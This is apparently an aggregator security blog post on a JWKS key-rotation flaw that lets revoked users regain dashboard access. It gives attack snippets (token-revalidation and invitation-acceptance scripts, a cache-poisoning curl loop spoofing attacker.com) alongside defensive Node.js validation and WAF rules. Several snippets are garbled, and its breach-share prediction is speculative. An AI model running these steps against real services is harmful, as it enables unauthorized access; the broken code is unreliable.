Listen to this Post
Introduction:
A critical vulnerability in JSON Web Key Set (JWKS) management can lead to persistent unauthorized access, even after user revocation. This security flaw, highlighted in a recent bug disclosure, demonstrates how improper token validation allows attackers to reinstate their privileges, bypassing standard security controls and compromising administrative dashboards.
Learning Objectives:
- Understand the critical role of JWKS in OAuth 2.0 and OpenID Connect ecosystems.
- Learn how to identify and exploit JWKS validation misconfigurations.
- Implement proper JWKS endpoint hardening and token validation procedures.
You Should Know:
1. Understanding JWKS Endpoint Discovery
The JSON Web Key Set (JWKS) is a critical component in modern authentication that contains public keys used to verify JSON Web Tokens (JWT). Attackers can discover JWKS endpoints to analyze validation weaknesses.
Discover JWKS endpoint from OpenID configuration curl -s https://target.com/.well-known/openid-configuration | jq .jwks_uri Manual JWKS retrieval and analysis curl -s https://target.com/.well-known/jwks | jq .
Step-by-step guide: The OpenID Connect discovery endpoint exposes the JWKS location. Retrieving this configuration allows attackers to analyze the public keys used for token verification. This is the first step in identifying if the service uses a static or poorly rotated key set that could be exploited.
2. JWT Token Structure Analysis
Understanding JWT composition is essential for identifying validation flaws. Tokens consist of header, payload, and signature sections that can be decoded and manipulated.
Decode JWT token without verification
echo "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9" | base64 -d
Analyze JWT header and payload
jq -R 'split(".") | .[bash] | @base64d | fromjson' <<< "$JWT_TOKEN"
jq -R 'split(".") | .[bash] | @base64d | fromjson' <<< "$JWT_TOKEN"
Step-by-step guide: Decode the JWT token components to examine the algorithm (alg) field in the header and user claims in the payload. Look for algorithm weaknesses, excessive token lifetimes, or missing validation parameters that could enable token replay attacks.
3. Testing JWKS Key Rotation Bypass
The vulnerability occurs when systems fail to validate token signatures against the current JWKS, allowing old keys to remain valid after rotation or user revocation.
Simulate token validation with outdated keys
python3 -c "
import jwt
import requests
token = 'ATTACKER_JWT_TOKEN'
jwks_url = 'https://target.com/.well-known/jwks'
jwks_client = jwt.PyJWKClient(jwks_url)
signing_key = jwks_client.get_signing_key_from_jwt(token)
Attempt to decode with potentially cached key
try:
decoded = jwt.decode(
token,
signing_key.key,
algorithms=["RS256"],
options={"verify_exp": True}
)
print('Token still valid:', decoded)
except Exception as e:
print('Validation failed:', e)
"
Step-by-step guide: This Python script demonstrates how an attacker might validate whether their revoked token still works by checking against potentially cached or non-validated JWKS responses. Successful decoding indicates the key rotation vulnerability.
4. Exploiting Invitation System Flaws
When JWKS validation fails, attackers can combine this with invitation system weaknesses to regain access.
Automated invitation acceptance and access verification
import requests
def exploit_invitation_flow():
Step 1: Attacker receives invitation while still having valid token
invitation_url = "https://target.com/invites/accept"
Step 2: Use potentially still-valid token to accept invitation
headers = {
"Authorization": f"Bearer {ATTACKER_TOKEN}",
"Content-Type": "application/json"
}
payload = {"invite_code": "COMPROMISED_INVITE"}
response = requests.post(invitation_url, json=payload, headers=headers)
return response.status_code == 200
Step-by-step guide: This exploitation script shows how an attacker with a still-valid JWT (due to JWKS issues) can accept new invitations to regain dashboard access, effectively bypassing the revocation process.
5. JWKS Cache Poisoning Attack
Improper caching of JWKS responses can lead to prolonged token validity even after key rotation.
Testing cache headers on JWKS endpoint
curl -I https://target.com/.well-known/jwks
Look for excessive max-age values like:
Cache-Control: max-age=86400
Attempt to poison CDN cache
for i in {1..50}; do
curl -X GET "https://target.com/.well-known/jwks" \
-H "X-Forwarded-Host: attacker.com" \
-H "True-Client-IP: 127.0.0.1"
done
Step-by-step guide: Check Cache-Control headers on JWKS responses. Excessive caching (hours or days) indicates potential cache poisoning vulnerabilities. Attackers can flood requests with spoofed headers to poison CDN caches with malicious JWKS data.
6. Implementing Proper JWKS Validation
Secure implementation requires immediate key validation and proper cache management.
Secure JWKS validation in Node.js
const jwksClient = require('jwks-rsa');
const client = jwksClient({
jwksUri: 'https://target.com/.well-known/jwks',
cache: true,
cacheMaxAge: 300000, // 5 minutes maximum
rateLimit: true,
jwksRequestsPerMinute: 10
});
function verifyToken(token) {
const decodedHeader = jwt.decode(token, {complete: true}).header;
return new Promise((resolve, reject) => {
client.getSigningKey(decodedHeader.kid, (err, key) => {
if (err) reject(err);
const signingKey = key.publicKey || key.rsaPublicKey;
jwt.verify(token, signingKey, {algorithms: ['RS256']}, (err, decoded) => {
if (err) reject(err);
resolve(decoded);
});
});
});
}
Step-by-step guide: This Node.js implementation demonstrates proper JWKS handling with reasonable caching (5 minutes), rate limiting, and algorithm restriction to prevent algorithm confusion attacks.
7. Monitoring and Alerting for JWKS Anomalies
Detect exploitation attempts through comprehensive JWKS endpoint monitoring.
CloudWatch Logs Insights query for JWKS anomalies
fields @timestamp, @message
| filter @message like /jwks/
| stats count() by bin(1h) as time
| sort time desc
AWS WAF rules for JWKS protection
{
"Name": "JWKSRateLimit",
"Priority": 1,
"Statement": {
"RateBasedStatement": {
"Limit": 100,
"AggregateKeyType": "IP"
}
},
"Action": { "Block": {} },
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true
}
}
Step-by-step guide: Implement monitoring for JWKS endpoint access patterns and configure WAF rules to rate-limit requests. Alert on unusual activity such as rapid polling of the JWKS endpoint or requests from suspicious IP ranges.
What Undercode Say:
- Key Takeaway 1: JWKS mismanagement creates backdoors that survive user revocation, fundamentally breaking authentication trust models.
- Key Takeaway 2: The combination of poor cache controls and invitation system flaws creates attack chains that bypass intended security controls.
This vulnerability represents a systemic failure in token validation infrastructure. The core issue isn’t merely a coding error but a fundamental misunderstanding of key rotation’s role in zero-trust architectures. Organizations prioritizing cryptographic agility often neglect the operational security required for proper key lifecycle management. The persistence of access despite administrative revocation demonstrates how modern authentication systems can maintain false senses of security while being fundamentally compromised. This pattern will continue to emerge as microservices and distributed systems increase JWKS dependency without implementing proper validation choreography.
Prediction:
Within two years, JWKS-related vulnerabilities will account for 15% of all cloud identity breaches as organizations struggle with key orchestration across distributed systems. The shift toward service mesh architectures and zero-trust networks will make proper JWKS implementation the frontline of API security, with regulatory frameworks like NIST 800-63B mandating specific key rotation and validation requirements. Failure to address these foundational issues will lead to catastrophic breaches in financial and healthcare sectors where persistent access enables long-term data exfiltration.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Shivangmauryaa Bug – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
